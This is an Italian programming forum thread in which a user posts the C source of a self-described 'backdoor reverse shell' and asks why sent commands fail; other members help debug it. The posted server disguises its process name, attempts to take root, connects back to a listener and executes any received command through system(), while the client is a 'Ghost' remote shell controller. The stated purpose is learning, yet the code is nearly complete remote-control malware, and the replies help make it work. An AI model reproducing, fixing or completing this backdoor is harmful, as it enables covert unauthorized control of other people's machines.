Questo sito utilizza cookies, anche di terze parti, per mostrare pubblicitÓ e servizi in linea con il tuo account. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - Errore Backdoor in C
Forum - C/C++ - Errore Backdoor in C

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 13:08
Venerdý, 16/12/2016
Salve a tutti sono nuovo in questo forum...e ho un problema secondo me stupido ma che io non riesco a venirne a capo.

Premetto che mi permetto di postare questo script perchŔ ho visto che anche altri utenti hanno chiesto consigli.. il mio Ŕ solo a scopo didattico e non voglio creare problemi a nessuno ma ho solo tanta voglia di capire come funzionano certe cose... detto questo spero che nessuno mi critichi per questi script...

Ritorniamo a noi...Come vi stavo dicendo ho un problema strano in pratica ho trovato una guida su come funzionano le backdoor e prendendo spunto da una backdoor base ho creato questa Backdoor reverse shell e fin qui ci siamo, la connessione avviene con successo l'unico problema Ŕ che quando gli invio un comando al server ad esempio "ls" mi da errore:

Codice sorgente - presumibilmente C/C++

  1. sh: $'\003': comando non trovato
  2. sh: bin/echo: No such file or directory



ho provato a cambiare un p˛ la variabile file perchŔ pensavo che non avessi i permessi giusti e quindi non me lo faceva aprire il file, ma niente non riesco a venirne a capo.... se qualcuno pu˛ aiutarmi ne sarei veramente grato


Lo script non lo posto ancora aspetto che qualcuno dia il consenso ^_^


Ultima modifica effettuata da ch4os il 16/12/2016 alle 13:09
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 412
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 13:29
Venerdý, 16/12/2016
Metti il codice altrimenti non si capisce molto. Usi un sistema Unix-like?

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 13:39
Venerdý, 16/12/2016
back.h
Codice sorgente - presumibilmente C++

  1. #ifndef MY_SOCK_H
  2. #define MY_SOCK_H
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <unistd.h>
  12. #include <fcntl.h>
  13.  
  14. #define PORT    2106
  15. #define STATE_LEN       3
  16.  
  17. void addr_init(struct sockaddr_in *addr, int port, long ip)
  18. {
  19.         addr->sin_family = AF_INET;
  20.         addr->sin_port = htons(port);
  21.         addr->sin_addr.s_addr = ip;
  22. }
  23.  
  24. int fileLen(FILE *fp)
  25. {
  26.         char buff;
  27.         int len=0;
  28.  
  29.         rewind(fp);
  30.  
  31.         while(!feof(fp)){
  32.                 buff = fgetc(fp);
  33.                 len++;
  34.         }
  35.  
  36.         rewind(fp);
  37.         return len;
  38. }
  39.  
  40. char *readFile(char *file)
  41. {
  42.         FILE *fp;
  43.         int i;
  44.         char *buff;
  45.  
  46.         fp = fopen(file,"r");
  47.         buff = (char*) malloc(fileLen(fp)*sizeof(char));
  48.  
  49.         for (i=0; !feof(fp); i++)
  50.                 buff[i] = fgetc(fp);
  51.         buff[i-1]= '\0';
  52.         fclose(fp);
  53.         return buff;
  54. }
  55.  
  56. #endif



server.c

Codice sorgente - presumibilmente C++

  1. /* server.c */
  2.  
  3. #include "back.h"
  4.  
  5. int main(int argc, char **argv)
  6. {
  7.  
  8.         int sd, i;
  9.         char cmd[1000], new_cmd[1200], size[17], file[100];
  10.         FILE *fp;
  11.         struct sockaddr_in client,server;
  12.  
  13.  
  14.        
  15.         strcpy(argv[0],"/usr/sbin/1");
  16.         snprintf(file,100,"%s/.cmd",getenv("HOME"));
  17.         setuid(0); setgid(0);
  18.  
  19.  
  20.         addr_init(&server, PORT, inet_addr("127.0.0.1"));
  21.         sd = socket(AF_INET, SOCK_STREAM, 0);
  22.  
  23.         if(sd == -1){
  24.                 printf("Impossibile creare il socket\n");
  25.                 exit(1);
  26.         }
  27.         if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
  28.                 printf("Impossibile stabilire una connessione");
  29.                 close(sd);
  30.                 exit(2);
  31.         }
  32.  
  33.         printf("Connessione avvenuta con successo \n");
  34.  
  35.         for(;;) {
  36.                 if((read(sd, cmd, sizeof(cmd))) == -1)
  37.                         exit(1);
  38.  
  39.                 memset(new_cmd, 0x0, sizeof(new_cmd));
  40.                 snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
  41.                 system(new_cmd);
  42.  
  43.                 sprintf(size,"%d",strlen(readFile(file)));
  44.                 size[strlen(size)] = '\0';
  45.  
  46.                 if(!strcmp(size,"0"))
  47.                 {
  48.                         snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
  49.                         system(new_cmd);
  50.                         snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
  51.                 }
  52.                 if((write(sd, size, sizeof(size))) == -1)
  53.                         exit(1);
  54.                 if((write(sd,readFile(file), atoi(size))) == -1)
  55.                         exit(1);
  56.  
  57.                 unlink(file);
  58.  
  59.         }
  60.         close(sd);
  61.  
  62. }



client.c

Codice sorgente - presumibilmente C++

  1. /*client*/
  2.  
  3. #include "back.h"
  4. #define MAX_CONN        5
  5.  
  6. int main(int argc, char **argv)
  7. {
  8.  
  9.         int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
  10.         struct sockaddr_in client, server;
  11.         char *buff, cmd[1000], size[17];
  12.  
  13.         addr_init(&server, PORT, INADDR_ANY);
  14.         sd = socket(AF_INET, SOCK_STREAM, 0);
  15.  
  16.         if(sd == -1){
  17.                 printf("Impossibile creare il socket \n");
  18.                 exit(1);
  19.         }
  20.         if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
  21.                 printf("errore durante il bind\n");
  22.                 exit(2);
  23.         }
  24.         if((listen(sd,MAX_CONN)) == -1){
  25.                 printf("Errore nel listening\n");
  26.                 exit(3);
  27.         }
  28.         new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
  29.  
  30.         if(new_sd == -1){
  31.                 printf("Errore accept\n");
  32.                 exit(4);
  33.  
  34.         }
  35.  
  36.         printf("________________________________________\n");
  37.         printf("   Ghost -- Remote Shell Controller     \n");
  38.         printf("   by Chaos, (C) 2016                   \n");
  39.         printf("________________________________________\n\n");
  40.  
  41.         printf("Connessione stabilita con successo\n");
  42.  
  43.         for(;;){
  44.                 printf("ch4os-sh3ll-root#: ");
  45.                 fgets(cmd, sizeof(cmd), stdin);
  46.                 cmd[strlen(cmd)-1] = '\0';
  47.  
  48.                 write(sd, cmd, sizeof(cmd));
  49.                 memset(cmd, 0x0, sizeof(cmd));
  50.  
  51.                 if((read(sd,size, sizeof(size))) == -1)
  52.                 {
  53.                         printf("Impossibile ricevere dati dal server\n");
  54.                         exit(1);
  55.                 }
  56.                 buff = (char*) malloc(atoi(size)*sizeof(char));
  57.  
  58.                 if((read(sd, buff, atoi(size))) == -1){
  59.                         printf("Impossibile riceve dati dal server..\n");
  60.                         exit(1);
  61.                 }
  62.                 printf("%s",buff);
  63.                 printf("\nComando inviato\n");
  64.         }
  65.  
  66.         close(sd);
  67.  
  68.  
  69. }



come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ per˛ al suo interno non c'Ŕ nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK

Ultima modifica effettuata da ch4os il 16/12/2016 alle 13:47
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 412
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 14:31
Venerdý, 16/12/2016
In effetti come ti dice l'errore sh non trova bin/echo, semplicemente per il fatto che devi scrivere /bin/echo a meno che la working directory del tuo programma non sia la root directory (cosa che in generale non conviene assumere).
L'altro errore che ti dÓ non l'ho ancora rintracciato ma probabilmente si tratta di qualche carattere strano.

P.S. sposta PORT e STATE_LEN dentro server.c visto che li usi soltanto lý.

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 15:06
Venerdý, 16/12/2016
grazie lumo sei stato molto gentile, ora provo a risolvere l'altro problema se riesco :\ cercher˛ di capire quale sia l'errore grazie ancora Iumo

-----EDIT-------
ragazzi non riesco a trovare niente su google riguardo questo problema ed il compilatore non mi da nessun errore per risolvere il prblema....
Ho provato a compilare con -Wall ed ho notato che in snprintf mi da errore

Codice sorgente - presumibilmente Delphi

  1. server.c:44:18: warning: format ┬Ĺ%d┬ĺ expects argument of type ┬Ĺint┬ĺ, but argument 3 has type ┬Ĺsize_t {aka long unsigned int}┬ĺ [-Wformat=]
  2.    sprintf(size,"%d",strlen(readFile(file)));
  3.                   ^
  4. server.c:51:34: warning: format ┬Ĺ%d┬ĺ expects argument of type ┬Ĺint┬ĺ, but argument 4 has type ┬Ĺsize_t {aka long unsigned int}┬ĺ [-Wformat=]
  5.     snprintf(size,sizeof(size), "%d", strlen(readFile(file)));


ho provato a cercare in google ed ho provato a cambiare la %d con %f, %s ma succede niente e mi da sempre lo stesso errore. Ora io mi domando, ho sbagliato io a impostare qualcosa o va bene pure cosý, e seconda domanda il problema per cui non riesco a far funzionare i comandi pu˛ dipendere da questo problema???????



Ultima modifica effettuata da ch4os il 16/12/2016 alle 17:35
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 412
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 17:32
Venerdý, 16/12/2016
Cambia con %zd per togliere il warning ma non Ŕ quello il problema.

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 17:48
Venerdý, 16/12/2016
gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...
pero pensando che l'errore Ŕ

Codice sorgente - presumibilmente Plain Text

  1. sh: $'\003': comando non trovato


leggendo da qua capisco che legge \033 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....

PM Quote
Avatar
TheDarkJuster (Member)
Guru^2


Messaggi: 1451
Iscritto: 27/09/2013

Segnala al moderatore
Postato alle 19:16
Venerdý, 16/12/2016
Compila il programma con i flag -O0 -d.

Avvialo tramite https://www.sourceware.org/gdb/ e fai il debug.

Per comoditÓ puoi usare un ide.....

PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 412
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 21:01
Venerdý, 16/12/2016
Testo quotato

Postato originariamente da ch4os:

gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...
pero pensando che l'errore Ŕ

Codice sorgente - presumibilmente Plain Text

  1. sh: $'\003': comando non trovato


leggendo da qua capisco che legge \033 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....



Piazza un printf() su quello che passi a system, magari c'Ŕ qualcosa di sbagliato.

PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo